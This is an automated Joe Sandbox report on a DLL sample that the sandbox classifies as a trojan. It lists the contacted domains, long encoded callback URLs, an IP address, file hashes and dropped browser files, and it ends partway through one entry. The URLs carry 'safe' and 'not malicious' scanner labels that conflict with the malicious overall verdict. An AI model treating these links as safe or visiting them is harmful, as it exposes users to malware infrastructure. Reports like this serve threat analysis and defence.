Source	Detection	Scanner	Label
http://app3.maintorna.com/cDNEPwBarUn/ROJH1XYkRfSClQ/qONBPlQo8FxG6mQW9Ogcz/u7mo1Dj2PullrRPq/bR_2BFpPLx7OhU9/HJBhAhHBzmstPPDOE1/w6ebBa_2B/KX_2BOm6FIW3gd6Bvbnj/Sh9h8HN_2BONCwGgPQr/IY0nkmO9u18wIpqrmMTW3z/GWi0vHa3h_2Bj/6IH92Uhj/Iom39I56_2BMfY2_2BRDxU0/VfXOZ9_2BQ/hDbFynpSdJTA10_2B/DTN9zUXGBVIL/6pinDdbjTIZ/J8liN5BZT7oU_2/FDetd44m1Cdm74WjgwpWw/7RPnYCrU0gXGaG9w/dolpQdALprU5fVz/g9lnmYz4c/oMbk6u	0%	Avira URL Cloud	safe
http://app.buboleinov.com/zWr7XKiLQ_2F3QZ2bR/ZuzwfgbmQ/mjgvv5jUliwpj1wMmSf1/mVwZRrRJ02ozj18W4CC/_2FqTc0J0ACZs0Zo0yB15V/UkO_2BhXUEjqi/ylcme0uu/h88DPxTz52fwzk2KiAITqAX/y1YkE9ueOd/NzFODbcfeCN_2B548/9jGMMg_2FjQB/TCcN38_2FLl/w78Mf5LsU18OtD/O9ldbeaIz2YOBBV9govEw/if1bIKJhIzR9fYIT/Dva1E7_2F2LcgBj/3WJFp2Il273lx9FN_2/B45JK5S6v/rZZWdDOKWu65eMI2rNKK/RAsOHyLCy3eKhZf_2Fm/CD_2FuANPfLuHGjULRoA2Y/Paqy	0%	Avira URL Cloud	safe
http://app.buboleinov.com/zWr7XKiLQ_2F3QZ2bR/ZuzwfgbmQ/mjgvv5jUliwpj1wMmSf1/mVwZRrRJ02ozj18W4CC/_2Fq	0%	Avira URL Cloud	safe
http://app.buboleinov.com/u9JBOXOyCt1J/Cqk3pF0_2B2/evko0P1iOLkfYu/tE8kijPwXl6fpTUvGY0L0/uKSRiZsz1TrV	0%	Avira URL Cloud	safe
http://chat.billionady.com/1Z7Zv_2Fo_2BBI/5yyu9xO7U6xQJUAU9LBdU/_2BZsJzv4AW1v4_2/FuBHkCgtXKYNI2J/fjLUpx4yvdGQ9xBWU8/nZ2UCR2Fn/6_2BJUjWbSDTFYEq01IK/G2MuJJozgl6fI_2Bxi6/8WHocMwy1m3c6beo7EybdT/0fZNT0A7jOYrz/ZJgKKaGn/V_2Bc6nIeAMBXcBQSTKS3tI/dRpB7HoFuq/5r0h_2Bic5oCoaHxQ/GZIQmnaYFeN7/lgmkXjg8R1P/o6CJiUeiWxo9TA/Om1BRSx_2BLEYhxw_2B1w/ztx7Xd1V_2BwFgLL/5ttSiFJbfjzPnDR/nMd_2BdWk4HTz_2Ftn/Va7N0lfshKE/mKz	0%	Avira URL Cloud	safe
http://app3.maintorna.com/cDNEPwBarUn/ROJH1XYkRfSClQ/qONBPlQo8FxG6mQW9Ogcz/u7mo1Dj2PullrRPq/bR_2BFpP	0%	Avira URL Cloud	safe
http://chat.billionady.com/1Z7Zv_2Fo_2BBI/5yyu9xO7U6xQJUAU9LBdU/_2BZsJzv4AW1v4_2/FuBHkCgtXKYNI2J/fjL	0%	Avira URL Cloud	safe
http://chat.billionady.com/hPJ75Rz1l0Yg172f0/W92Rc6NrZORu/agJ84T4GWPF/71Su9Jrd5ILrko/1XWo5CLa_2Bx1ycL2fXGF/76IsZupbi6IIIogp/P_2BrqGlfT6Z_2F/9HIF9QL_2Ffn95EjHz/EKpbgAout/m_2FkBfNGzNFhXOxCcqe/1zQKvOOwqE_2B22qrZS/vj3rmMMb_2BsLkd2AZhDC4/602lvjtm6dYcP/dyzgfgBT/A_2BC4eofqol5orEsMEQPWe/zZ6Swnuj_2/FM3kwbNjGbF9dztKO/5Sul25wMK_2F/fSrDDmSQa3P/LwvXQje5tWHJ24/YCtfl_2Bd9Wgni_2B/yKHW	0%	Avira URL Cloud	safe
http://app3.maintorna.com/6r_2FD5QsDWTjJjwzHfBaL/2HYJ2K06UlseV/lZ1msT18/ny_2FHLDol8VG6VjuFqLZ26/y1nZ	0%	Avira URL Cloud	safe
http://app3.maintorna.com/6r_2FD5QsDWTjJjwzHfBaL/2HYJ2K06UlseV/lZ1msT18/ny_2FHLDol8VG6VjuFqLZ26/y1nZcgTjUQ/HL5YV0taxU5zFMebw/ouCjKnY1SB67/bctA52f0140/sHpnVH95T_2Fuj/QLIAvGeVws2XTmrrXV3BZ/psxvZSZg2i7jPF9N/caz3S5QCjepHp3W/l6q5V6Mw_2BHygdAjz/QFWLuSVDY/2iEYyTYQm6wj63ekurFy/nVWvwQ5A_2FY6vAZ0b2/ysxIi7hdttfqNZtbDq2s51/_2FLPh7LrbbPo/JhDaZ4qW/MGAYB_2BvyA3HE7Ywiz/pWy	0%	Avira URL Cloud	safe
http://chat.billionady.com/hPJ75Rz1l0Yg172f0/W92Rc6NrZORu/agJ84T4GWPF/71Su9Jrd5ILrko/1XWo5CLa_2Bx1yc	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
app3.maintorna.com	34.86.224.8	true	false	unknown
chat.billionady.com	34.86.224.8	true	false	unknown
app.buboleinov.com	34.86.224.8	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://app3.maintorna.com/cDNEPwBarUn/ROJH1XYkRfSClQ/qONBPlQo8FxG6mQW9Ogcz/u7mo1Dj2PullrRPq/bR_2BFpPLx7OhU9/HJBhAhHBzmstPPDOE1/w6ebBa_2B/KX_2BOm6FIW3gd6Bvbnj/Sh9h8HN_2BONCwGgPQr/IY0nkmO9u18wIpqrmMTW3z/GWi0vHa3h_2Bj/6IH92Uhj/Iom39I56_2BMfY2_2BRDxU0/VfXOZ9_2BQ/hDbFynpSdJTA10_2B/DTN9zUXGBVIL/6pinDdbjTIZ/J8liN5BZT7oU_2/FDetd44m1Cdm74WjgwpWw/7RPnYCrU0gXGaG9w/dolpQdALprU5fVz/g9lnmYz4c/oMbk6u	false	Avira URL Cloud: safe	unknown
http://app.buboleinov.com/zWr7XKiLQ_2F3QZ2bR/ZuzwfgbmQ/mjgvv5jUliwpj1wMmSf1/mVwZRrRJ02ozj18W4CC/_2FqTc0J0ACZs0Zo0yB15V/UkO_2BhXUEjqi/ylcme0uu/h88DPxTz52fwzk2KiAITqAX/y1YkE9ueOd/NzFODbcfeCN_2B548/9jGMMg_2FjQB/TCcN38_2FLl/w78Mf5LsU18OtD/O9ldbeaIz2YOBBV9govEw/if1bIKJhIzR9fYIT/Dva1E7_2F2LcgBj/3WJFp2Il273lx9FN_2/B45JK5S6v/rZZWdDOKWu65eMI2rNKK/RAsOHyLCy3eKhZf_2Fm/CD_2FuANPfLuHGjULRoA2Y/Paqy	false	Avira URL Cloud: safe	unknown
http://chat.billionady.com/1Z7Zv_2Fo_2BBI/5yyu9xO7U6xQJUAU9LBdU/_2BZsJzv4AW1v4_2/FuBHkCgtXKYNI2J/fjLUpx4yvdGQ9xBWU8/nZ2UCR2Fn/6_2BJUjWbSDTFYEq01IK/G2MuJJozgl6fI_2Bxi6/8WHocMwy1m3c6beo7EybdT/0fZNT0A7jOYrz/ZJgKKaGn/V_2Bc6nIeAMBXcBQSTKS3tI/dRpB7HoFuq/5r0h_2Bic5oCoaHxQ/GZIQmnaYFeN7/lgmkXjg8R1P/o6CJiUeiWxo9TA/Om1BRSx_2BLEYhxw_2B1w/ztx7Xd1V_2BwFgLL/5ttSiFJbfjzPnDR/nMd_2BdWk4HTz_2Ftn/Va7N0lfshKE/mKz	false	Avira URL Cloud: safe	unknown
http://chat.billionady.com/hPJ75Rz1l0Yg172f0/W92Rc6NrZORu/agJ84T4GWPF/71Su9Jrd5ILrko/1XWo5CLa_2Bx1ycL2fXGF/76IsZupbi6IIIogp/P_2BrqGlfT6Z_2F/9HIF9QL_2Ffn95EjHz/EKpbgAout/m_2FkBfNGzNFhXOxCcqe/1zQKvOOwqE_2B22qrZS/vj3rmMMb_2BsLkd2AZhDC4/602lvjtm6dYcP/dyzgfgBT/A_2BC4eofqol5orEsMEQPWe/zZ6Swnuj_2/FM3kwbNjGbF9dztKO/5Sul25wMK_2F/fSrDDmSQa3P/LwvXQje5tWHJ24/YCtfl_2Bd9Wgni_2B/yKHW	false	Avira URL Cloud: safe	unknown
http://app3.maintorna.com/6r_2FD5QsDWTjJjwzHfBaL/2HYJ2K06UlseV/lZ1msT18/ny_2FHLDol8VG6VjuFqLZ26/y1nZcgTjUQ/HL5YV0taxU5zFMebw/ouCjKnY1SB67/bctA52f0140/sHpnVH95T_2Fuj/QLIAvGeVws2XTmrrXV3BZ/psxvZSZg2i7jPF9N/caz3S5QCjepHp3W/l6q5V6Mw_2BHygdAjz/QFWLuSVDY/2iEYyTYQm6wj63ekurFy/nVWvwQ5A_2FY6vAZ0b2/ysxIi7hdttfqNZtbDq2s51/_2FLPh7LrbbPo/JhDaZ4qW/MGAYB_2BvyA3HE7Ywiz/pWy	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://app.buboleinov.com/zWr7XKiLQ_2F3QZ2bR/ZuzwfgbmQ/mjgvv5jUliwpj1wMmSf1/mVwZRrRJ02ozj18W4CC/_2Fq	{A33D02D4-AC7A-11EB-90E5-ECF4BB570DC9}.dat.19.dr	false	Avira URL Cloud: safe	unknown
http://app.buboleinov.com/u9JBOXOyCt1J/Cqk3pF0_2B2/evko0P1iOLkfYu/tE8kijPwXl6fpTUvGY0L0/uKSRiZsz1TrV	~DF036A3D1EB4248F1E.TMP.19.dr, {A33D02D2-AC7A-11EB-90E5-ECF4BB570DC9}.dat.19.dr	false	Avira URL Cloud: safe	unknown
http://app3.maintorna.com/cDNEPwBarUn/ROJH1XYkRfSClQ/qONBPlQo8FxG6mQW9Ogcz/u7mo1Dj2PullrRPq/bR_2BFpP	{CDCCBAD7-AC7A-11EB-90E5-ECF4BB570DC9}.dat.36.dr, ~DF7FEBD80971BE8B6A.TMP.36.dr	false	Avira URL Cloud: safe	unknown
http://chat.billionady.com/1Z7Zv_2Fo_2BBI/5yyu9xO7U6xQJUAU9LBdU/_2BZsJzv4AW1v4_2/FuBHkCgtXKYNI2J/fjL	{BF692A67-AC7A-11EB-90E5-ECF4BB570DC9}.dat.29.dr, ~DF183688B2D13937F7.TMP.29.dr	false	Avira URL Cloud: safe	unknown
http://app3.maintorna.com/6r_2FD5QsDWTjJjwzHfBaL/2HYJ2K06UlseV/lZ1msT18/ny_2FHLDol8VG6VjuFqLZ26/y1nZ	~DFE60F766B8C74F7D6.TMP.36.dr, {CDCCBAD9-AC7A-11EB-90E5-ECF4BB570DC9}.dat.36.dr	false	Avira URL Cloud: safe	unknown
http://chat.billionady.com/hPJ75Rz1l0Yg172f0/W92Rc6NrZORu/agJ84T4GWPF/71Su9Jrd5ILrko/1XWo5CLa_2Bx1yc	{BF692A65-AC7A-11EB-90E5-ECF4BB570DC9}.dat.29.dr	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
34.86.224.8	app3.maintorna.com	United States		15169	GOOGLEUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	403080
Start date:	03.05.2021
Start time:	18:45:28
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	block.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.troj.winDLL@24/69@6/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 9.8% (good quality ratio 9.3%) Quality average: 79.1% Quality standard deviation: 29.1%
HCA Information:	Successful, ratio: 76% Number of executed functions: 52 Number of non-executed functions: 37
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, HxTsr.exe, ielowutil.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe Excluded IPs from analysis (whitelisted): 93.184.220.29, 131.253.33.200, 13.107.22.200, 52.147.198.201, 104.43.139.144, 92.122.145.220, 104.80.23.128, 13.107.5.88, 13.107.42.23, 104.42.151.234, 20.190.160.131, 20.190.160.7, 20.190.160.70, 20.190.160.9, 20.190.160.135, 20.190.160.133, 20.190.160.68, 20.190.160.74, 20.82.210.154, 88.221.62.148, 92.122.213.194, 92.122.213.249, 152.199.19.161, 20.50.102.62, 20.54.26.129 Excluded domains from analysis (whitelisted): cs9.wac.phicdn.net, client-office365-tas.msedge.net, ocos-office365-s2s.msedge.net, arc.msn.com.nsatc.net, config.edge.skype.com.trafficmanager.net, store-images.s-microsoft.com-c.edgekey.net, e-0009.e-msedge.net, config-edge-skype.l-0014.l-msedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, l-0014.config.skype.com, a1449.dscg2.akamai.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, e11290.dspg.akamaiedge.net, iecvlist.microsoft.com, e12564.dspb.akamaiedge.net, go.microsoft.com, ocsp.digicert.com, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, config.edge.skype.com, www.bing.com, fs.microsoft.com, afdo-tas-offload.trafficmanager.net, ie9comview.vo.msecnd.net, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, skypedataprdcolcus16.cloudapp.net, login.msa.msidentity.com, dual-a-0001.dc-msedge.net, skypedataprdcoleus16.cloudapp.net, ocos-office365-s2s-msedge-net.e-0009.e-msedge.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, go.microsoft.com.edgekey.net, l-0014.l-msedge.net, skypedataprdcolwus16.cloudapp.net, www.tm.lg.prod.aadmsa.trafficmanager.net, cs9.wpc.v0cdn.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/403080/sample/block.dll

Simulations

Behavior and APIs

Time	Type	Description
18:46:55	API Interceptor	1x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{A33D02D0-AC7A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	1.998597132882559
Encrypted:	false
SSDEEP:	96:r0ZTZU2fWjtEgbfEarzXwKMNah4q40I4Q4kBEhu/ap3M4TlapUJaRkmKJaROmoSo:r0ZTZU2fWjtpfxFMCcKNMu/tVcocInYg
MD5:	B24CF1A212CFBBF68F79B5213CEE9F75
SHA1:	7B3560C4290A072EF06C2A36A8A1DCC02D348F6D
SHA-256:	BBAA55CB92A0669BA9668C0C5BD3DB5B4C69E1BA76D5741018DA25E58674DA8A
SHA-512:	ABFEC6ACCE03495AB33B8D55AAF9336BF624AC63897B75B05328BB982BF864C3BCBE2E9A67FD0C12F56AF66531B115019165288794BCA8EEE0229199692300F5
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{BF692A63-AC7A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.0018297658762045
Encrypted:	false
SSDEEP:	96:r3Z8Zh2RWat6bfjzEzKMBbqbLbQ8uzhBMJK3MTSJKmWJiktWJiOIVJcin2JVtcc7:r3Z8Zh2RWat6fvRMgULhM/iIRQEMoU8g
MD5:	C06B04938835F26192BB44AC2AC84E7E
SHA1:	ECBEF63BF5FB3209DE49D711F16217A31073883C
SHA-256:	BF64DB656C32107E023373C2446C4ED16D0E8F1D61868B563E4E85AD0C609256
SHA-512:	66A05E525798097AC87112E97D9E2B05CB421623D86051BFC7914BDFCC52CD63C329D6B57F16B11D5484652861076B866C8927A3A302AAEED70150E1466C93F1
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{CDCCBAD5-AC7A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.0039146351507484
Encrypted:	false
SSDEEP:	192:reZlZBl2oWf5ztUfcdMZRx5MJspF3pFVF4QUoLVog:rqLB8fhxaJZR42jCoZ
MD5:	342C91CC0B0353F57DBF32BB29242C8E
SHA1:	037E3195062CA1DCCA584265D2A0525F325A49C3
SHA-256:	750BCE72B7FD2B9DAAF1BBBB883401D45CECB498BF9A2127BCFCE50E009D01C1
SHA-512:	D267971695F28B25473C00FDBEC26F6DB975E91F9C58DFD925B6E21C12E0A2607886EC9234417BAD5AEC5DFCDEEC9CB49A91E4445722389B50E8DE4EF8739C83
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{A33D02D2-AC7A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27596
Entropy (8bit):	1.9182205322719534
Encrypted:	false
SSDEEP:	96:rZZWQP69BSLjh21W8M1tvnjNvvlvnjNJjgA:rZZWQP69kLjh21W8M1tvnjRlvnjjjgA
MD5:	0D590BFF9E92402520284095D370E3F0
SHA1:	07CD80D0E3EFD4958A7F611B3C7D7A41AE9CF281
SHA-256:	E9E32838A457E664EBB5A46C6898C786A8364C65EAEF5348737B141968497DE0
SHA-512:	87BF1D0307E6A4F44A03317EB3DC89EF276AC16D2A1BB0846F7CB0482D26D3BD8F8F1DB81548C0E1E35000316D28ED51318AF7640B50E4F7C21828330E58E355
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{A33D02D4-AC7A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	28148
Entropy (8bit):	1.9198453830362774
Encrypted:	false
SSDEEP:	192:ryZ5QE6CkGj9cs293W9SM9OF/N+nlKd1/N+0+nlbsA:ruev7AU0twl+lKHl+0+lbH
MD5:	F3CCC6032DDDD268833EE14565131965
SHA1:	33DF253B55348C0C3E53E7ADB3938480DD84ABD3
SHA-256:	42CD4E34995742C5B784EEA3DDD3E9FB80C000DFB284CD6863C78FEF37DAA173
SHA-512:	C178A5A3CCB576B1D3E3129ADDB8194E544B6AB9FF6D78B1EF4F014520738D47DA0D0E2B61F4E89A41A528850793A83C5A6A993595844E1613B49B474D6E3B4B
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{BF692A65-AC7A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	28120
Entropy (8bit):	1.9093964950608238
Encrypted:	false
SSDEEP:	96:rNZGQA6GBSljh2BW4MIlKPmIOH1KPmDlPmIXgpr:rNZGQA6Gkljh2BW4MIlKOIc1KOZOIQr
MD5:	DD41FB0A5E33BB3831AD3FF333D560D3
SHA1:	EF4A5E9DACEDDDEFF2E6D0D8BD0AA575F0F5223E
SHA-256:	CFE343C85BADE722FE4C6CD48C576173AAAA6617CE63EB02B276E2D08F3A2A3B
SHA-512:	3D6022539DAB8848F978C06B9D0D48D9541A5215CD26907C4A6B774C1D443AD70CD5245A860104E9E484072B33374BA9721C1A49151290F73E47524CB79785DE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{BF692A67-AC7A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	28164
Entropy (8bit):	1.927016630884296
Encrypted:	false
SSDEEP:	96:rPZwQF63BSZje2WWtM6VuX9Z/n3vPwVuXi9Z/n3vA4A:rPZwQF63kZje2WWtM6VmDPvYVmiDPvRA
MD5:	40D370F27939E2349B750DFFD06F88E7
SHA1:	C9D7F691C6686D22246313915656A05AA7C2F77B
SHA-256:	1E43B85064E78FB8BEE17184B34C1B47A2143EBE4905D53C5650B5486D3E89D6
SHA-512:	7C3A2184D98FD608DC336E666516F47BC70B694105FAE92DD9106BEAF5E84A4BFC77A1E66C6902F95DE809E2DAA9780C48F6D303CB384B2977CFB1E33B77B353
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{CDCCBAD7-AC7A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	28152
Entropy (8bit):	1.9240152253776737
Encrypted:	false
SSDEEP:	192:rhZiQ26SxkVjXV2VWfMXgxG1fV7BzHlAi1fV7BTA:rnPBSixXMsUwGFxrzFxO
MD5:	B2E71E580093535DB184380A68367272
SHA1:	F980CD6B05440BF4B0671288895689EBFBDEB2CB
SHA-256:	17AC595F46F8556684A1397CBBB4C63224C74083E0B8F0E80428C42006371412
SHA-512:	D681DD25A6685B73C081866AB3450B7EC7695AAD39359D3656466E5A144AB0F491A4AC492846E82819E7AD3475A24FBBF5C681A2C5A135D046518D7D5B9F2D62
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{CDCCBAD9-AC7A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27580
Entropy (8bit):	1.9114557863672967
Encrypted:	false
SSDEEP:	96:ryZZQu6ABSbj62yW9MZdbPRchG9iflbPRchG9aoCA:ryZZQu6Akbj62yW9MZdbrClbrMoCA
MD5:	4312B662D19AD293677065294986C2E1
SHA1:	1F8517251DBF1A1042A1614CFB5487576FA96CA3
SHA-256:	9AC7298D22034FF871E5FF910BF7A222CCC854480A4FB569E77FA23EEE897770
SHA-512:	7520357BCEE5EBBCD8FE65785884CDB9BC1BAD9C036B411E28D47431A9B97A690407D7132AB42ABE50B1554558C498597D8EA7944897B0EA909779B6EB6AAB31
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\ErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2168
Entropy (8bit):	5.207912016937144
Encrypted:	false
SSDEEP:	24:5+j5xU5k5N0ndgvoyeP0yyiyQCDr3nowMVworDtX3orKxWxDnCMA0da+hieyuSQK:5Q5K5k5pvFehWrrarrZIrHd3FIQfOS6
MD5:	F4FE1CB77E758E1BA56B8A8EC20417C5
SHA1:	F4EDA06901EDB98633A686B11D02F4925F827BF0
SHA-256:	8D018639281B33DA8EB3CE0B21D11E1D414E59024C3689F92BE8904EB5779B5F
SHA-512:	62514AB345B6648C5442200A8E9530DFB88A0355E262069E0A694289C39A4A1C06C6143E5961074BFAC219949102A416C09733F24E8468984B96843DC222B436
Malicious:	false
Preview:	.body..{...font-family: "Segoe UI", "verdana", "arial";...background-image: url(background_gradient.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;...color: #575757;..}....body.securityError..{...font-family: "Segoe UI", "verdana" , "Arial";...background-image: url(background_gradient_red.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;..}....body.tabInfo..{...background-image: none;...background-color: #F4F4F4;..}.. ..a..{...color: rgb(19,112,171);.font-size: 1em;...font-weight: normal;...text-decoration: none;...margin-left: 0px;...vertical-align: top;..}....a:link, a:visited..{...color: rgb(19,112,171);...text-decoration: none;...vertical-align: top;..}....a:hover..{...color: rgb(7,74,229);...text-decoration: underline;..}....p..{...font-size: 0.9em;..}.....h1 /* used for Title */..{...color: #4465A2;...font-size: 1.1em;...font-weight: normal;...vertical-align

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\background_gradient[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 1x800, frames 3
Category:	downloaded
Size (bytes):	453
Entropy (8bit):	5.019973044227213
Encrypted:	false
SSDEEP:	6:3llVuiPjlXJYhg5suRd8PImMo23C/kHrJ8yA/NIeYoWg78C/vTFvbKLAh3:V/XPYhiPRd8j7+9LoIrobtHTdbKi
MD5:	20F0110ED5E4E0D5384A496E4880139B
SHA1:	51F5FC61D8BF19100DF0F8AADAA57FCD9C086255
SHA-256:	1471693BE91E53C2640FE7BAEECBC624530B088444222D93F2815DFCE1865D5B
SHA-512:	5F52C117E346111D99D3B642926139178A80B9EC03147C00E27F07AAB47FE38E9319FE983444F3E0E36DEF1E86DD7C56C25E44B14EFDC3F13B45EDEDA064DB5A
Malicious:	false
IE Cache URL:	res://ieframe.dll/background_gradient.jpg
Preview:	......JFIF.....d.d......Ducky.......P......Adobe.d................................................................................................................................................. ...............W..............................................................Qa.................................?......%.....x......s...Z.......j.T.wz.6...X.@... V.3tM...P@.u.%...m..D.25...T...F.........p......A..........BP..qD.(.........ntH.@......h?..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\bullet[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.304718288205936
Encrypted:	false
SSDEEP:	12:6v/71Cyt/JNTWxGdr+kZDWO7+4dKIv0b1GKuxu+R:/yBJNTqsSk9BTwE05su+R
MD5:	26F971D87CA00E23BD2D064524AEF838
SHA1:	7440BEFF2F4F8FABC9315608A13BF26CABAD27D9
SHA-256:	1D8E5FD3C1FD384C0A7507E7283C7FE8F65015E521B84569132A7EABEDC9D41D
SHA-512:	C62EB51BE301BB96C80539D66A73CD17CA2021D5D816233853A37DB72E04050271E581CC99652F3D8469B390003CA6C62DAD2A9D57164C620B7777AE99AA1B15
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE...(EkFRp&@e&@e)Af)AgANjBNjDNjDNj2Vv-Xz-Y{3XyC\}E_.2j.3l.8p.7q.;j.;l.Zj.\l.5o.7q.<..aw.<..dz.E...........1..@.7..~.....9..:.....A..B..E..9..:..a..c..b..g.#M.%O.#r.#s.%y.2..4..+..-..?..@..;..p..s...G..H..M.........z`....#tRNS................................../,....mIDATx^..C..`.......S....y'...05...\|..k.X......*`.F.K....JQ..u.<.}.. ..[U..m....'r%.......yn.`.7F..).5..b..rX.T.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
